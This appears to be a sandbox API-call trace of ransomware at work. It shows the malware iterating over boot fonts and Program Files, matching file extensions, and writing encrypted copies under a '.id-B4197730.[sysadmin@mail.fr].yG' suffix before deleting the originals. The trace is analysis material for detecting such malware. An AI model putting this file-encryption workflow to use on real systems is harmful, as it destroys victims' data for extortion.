	[0134.720] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.720] lstrlenW (lpString=".jpg") returned 4
	[0134.720] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.720] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.720] lstrlenW (lpString="malgunn_boot.ttf") returned 16
	[0134.721] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.728] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=174959) returned 1
	[0134.728] CloseHandle (hObject=0x314) returned 1
	[0134.729] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20
	[0134.729] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.729] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.729] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.729] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.729] lstrlenW (lpString=".doc") returned 4
	[0134.729] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.729] lstrlenW (lpString=".docx") returned 5
	[0134.729] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.729] lstrlenW (lpString=".pdf") returned 4
	[0134.729] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.729] lstrlenW (lpString=".xls") returned 4
	[0134.729] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.729] lstrlenW (lpString=".xlsx") returned 5
	[0134.729] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.729] lstrlenW (lpString=".ppt") returned 4
	[0134.729] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.730] lstrlenW (lpString=".zip") returned 4
	[0134.730] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.730] lstrlenW (lpString=".rar") returned 4
	[0134.730] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString=".bz2") returned 4
	[0134.730] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString=".7z") returned 3
	[0134.730] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.730] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.730] lstrlenW (lpString=".dbf") returned 4
	[0134.730] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.730] lstrlenW (lpString=".1cd") returned 4
	[0134.730] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.730] lstrlenW (lpString=".jpg") returned 4
	[0134.730] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.730] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.730] lstrlenW (lpString=".doc") returned 4
	[0134.730] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString=".docx") returned 5
	[0134.730] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.730] lstrlenW (lpString=".pdf") returned 4
	[0134.730] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.730] lstrlenW (lpString=".xls") returned 4
	[0134.730] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.730] lstrlenW (lpString=".xlsx") returned 5
	[0134.731] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.731] lstrlenW (lpString=".ppt") returned 4
	[0134.731] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.731] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.731] lstrlenW (lpString=".zip") returned 4
	[0134.731] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.731] lstrlenW (lpString=".rar") returned 4
	[0134.731] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.731] lstrlenW (lpString=".bz2") returned 4
	[0134.731] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.731] lstrlenW (lpString=".7z") returned 3
	[0134.731] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.731] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.731] lstrlenW (lpString=".dbf") returned 4
	[0134.731] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.731] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.731] lstrlenW (lpString=".1cd") returned 4
	[0134.731] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.731] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0134.731] lstrlenW (lpString=".jpg") returned 4
	[0134.731] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.731] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.732] lstrlenW (lpString="malgun_boot.ttf") returned 15
	[0134.732] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.733] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=177414) returned 1
	[0134.733] CloseHandle (hObject=0x314) returned 1
	[0134.733] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0134.733] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.734] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.734] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.734] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.734] lstrlenW (lpString=".doc") returned 4
	[0134.734] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.734] lstrlenW (lpString=".docx") returned 5
	[0134.734] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.734] lstrlenW (lpString=".pdf") returned 4
	[0134.734] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.734] lstrlenW (lpString=".xls") returned 4
	[0134.734] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.734] lstrlenW (lpString=".xlsx") returned 5
	[0134.734] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.734] lstrlenW (lpString=".ppt") returned 4
	[0134.734] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.734] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.734] lstrlenW (lpString=".zip") returned 4
	[0134.734] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.734] lstrlenW (lpString=".rar") returned 4
	[0134.734] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.734] lstrlenW (lpString=".bz2") returned 4
	[0134.734] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.734] lstrlenW (lpString=".7z") returned 3
	[0134.734] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.735] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.735] lstrlenW (lpString=".dbf") returned 4
	[0134.735] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.735] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.735] lstrlenW (lpString=".1cd") returned 4
	[0134.735] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.735] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.735] lstrlenW (lpString=".jpg") returned 4
	[0134.735] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.735] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.735] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.735] lstrlenW (lpString=".doc") returned 4
	[0134.735] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.735] lstrlenW (lpString=".docx") returned 5
	[0134.735] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.735] lstrlenW (lpString=".pdf") returned 4
	[0134.735] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.735] lstrlenW (lpString=".xls") returned 4
	[0134.735] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.735] lstrlenW (lpString=".xlsx") returned 5
	[0134.735] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.735] lstrlenW (lpString=".ppt") returned 4
	[0134.735] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.735] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.735] lstrlenW (lpString=".zip") returned 4
	[0134.735] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.735] lstrlenW (lpString=".rar") returned 4
	[0134.735] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.736] lstrlenW (lpString=".bz2") returned 4
	[0134.736] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.736] lstrlenW (lpString=".7z") returned 3
	[0134.736] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.736] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.736] lstrlenW (lpString=".dbf") returned 4
	[0134.736] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.736] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.736] lstrlenW (lpString=".1cd") returned 4
	[0134.736] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.736] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0134.736] lstrlenW (lpString=".jpg") returned 4
	[0134.736] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.736] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.736] lstrlenW (lpString="meiryon_boot.ttf") returned 16
	[0134.736] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.739] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=143754) returned 1
	[0134.739] CloseHandle (hObject=0x314) returned 1
	[0134.739] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20
	[0134.740] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.740] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.740] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.740] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.740] lstrlenW (lpString=".doc") returned 4
	[0134.740] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.740] lstrlenW (lpString=".docx") returned 5
	[0134.740] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.740] lstrlenW (lpString=".pdf") returned 4
	[0134.740] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.740] lstrlenW (lpString=".xls") returned 4
	[0134.740] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.740] lstrlenW (lpString=".xlsx") returned 5
	[0134.740] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.740] lstrlenW (lpString=".ppt") returned 4
	[0134.740] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.740] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.740] lstrlenW (lpString=".zip") returned 4
	[0134.740] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.740] lstrlenW (lpString=".rar") returned 4
	[0134.740] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.740] lstrlenW (lpString=".bz2") returned 4
	[0134.741] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.741] lstrlenW (lpString=".7z") returned 3
	[0134.741] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.741] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.741] lstrlenW (lpString=".dbf") returned 4
	[0134.741] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.741] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.741] lstrlenW (lpString=".1cd") returned 4
	[0134.741] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.741] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.741] lstrlenW (lpString=".jpg") returned 4
	[0134.741] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.741] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.741] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.741] lstrlenW (lpString=".doc") returned 4
	[0134.741] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.741] lstrlenW (lpString=".docx") returned 5
	[0134.741] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.741] lstrlenW (lpString=".pdf") returned 4
	[0134.741] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.741] lstrlenW (lpString=".xls") returned 4
	[0134.741] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.741] lstrlenW (lpString=".xlsx") returned 5
	[0134.741] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.741] lstrlenW (lpString=".ppt") returned 4
	[0134.741] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.741] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.741] lstrlenW (lpString=".zip") returned 4
	[0134.742] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.742] lstrlenW (lpString=".rar") returned 4
	[0134.742] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.742] lstrlenW (lpString=".bz2") returned 4
	[0134.742] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.742] lstrlenW (lpString=".7z") returned 3
	[0134.742] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.742] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.742] lstrlenW (lpString=".dbf") returned 4
	[0134.742] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.742] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.742] lstrlenW (lpString=".1cd") returned 4
	[0134.742] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.742] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0134.742] lstrlenW (lpString=".jpg") returned 4
	[0134.742] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.742] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.742] lstrlenW (lpString="meiryo_boot.ttf") returned 15
	[0134.742] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.744] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=145419) returned 1
	[0134.744] CloseHandle (hObject=0x314) returned 1
	[0134.744] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20
	[0134.744] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.744] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.744] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0134.745] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0134.748] lstrlenW (lpString=".doc") returned 4
	[0134.748] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.748] lstrlenW (lpString=".docx") returned 5
	[0134.748] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.748] lstrlenW (lpString=".pdf") returned 4
	[0134.748] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.748] lstrlenW (lpString=".xls") returned 4
	[0134.748] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.748] lstrlenW (lpString=".xlsx") returned 5
	[0134.748] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.748] lstrlenW (lpString=".ppt") returned 4
	[0134.748] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.748] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0134.748] lstrlenW (lpString=".zip") returned 4
	[0134.748] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.748] lstrlenW (lpString=".rar") returned 4
	[0134.748] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.748] lstrlenW (lpString=".bz2") returned 4
	[0134.748] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.748] lstrlenW (lpString=".7z") returned 3
	[0134.748] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0136.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0138.456] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.456] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.456] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0138.458] GetLastError () returned 0x0
	[0138.458] ReadFile (in: hFile=0x488, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x562, lpOverlapped=0x0) returned 1
	[0138.565] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x570, lpOverlapped=0x0) returned 1
	[0138.567] ReadFile (in: hFile=0x488, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.567] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xfc, lpOverlapped=0x0) returned 1
	[0138.567] SetEndOfFile (hFile=0x48c) returned 1
	[0138.676] CloseHandle (hObject=0x48c) returned 1
	[0138.676] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.676] SetEndOfFile (hFile=0x488) returned 1
	[0139.210] CloseHandle (hObject=0x488) returned 1
	[0139.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0140.203] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1
	[0141.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.142] lstrlenW (lpString=".doc") returned 4
	[0141.142] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString=".docx") returned 5
	[0141.142] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.142] lstrlenW (lpString=".pdf") returned 4
	[0141.142] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString=".xls") returned 4
	[0141.142] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString=".xlsx") returned 5
	[0141.142] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.142] lstrlenW (lpString=".ppt") returned 4
	[0141.142] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.142] lstrlenW (lpString=".zip") returned 4
	[0141.142] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString=".rar") returned 4
	[0141.142] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString=".bz2") returned 4
	[0141.142] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString=".7z") returned 3
	[0141.142] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.142] lstrlenW (lpString=".dbf") returned 4
	[0141.142] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.143] lstrlenW (lpString=".1cd") returned 4
	[0141.143] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.143] lstrlenW (lpString=".jpg") returned 4
	[0141.143] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.143] lstrlenW (lpString=".doc") returned 4
	[0141.143] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString=".docx") returned 5
	[0141.143] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.143] lstrlenW (lpString=".pdf") returned 4
	[0141.143] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString=".xls") returned 4
	[0141.143] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString=".xlsx") returned 5
	[0141.143] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.143] lstrlenW (lpString=".ppt") returned 4
	[0141.143] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.143] lstrlenW (lpString=".zip") returned 4
	[0141.143] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString=".rar") returned 4
	[0141.143] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString=".bz2") returned 4
	[0141.143] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.143] lstrlenW (lpString=".7z") returned 3
	[0141.144] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.144] lstrlenW (lpString=".dbf") returned 4
	[0141.144] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.144] lstrlenW (lpString=".1cd") returned 4
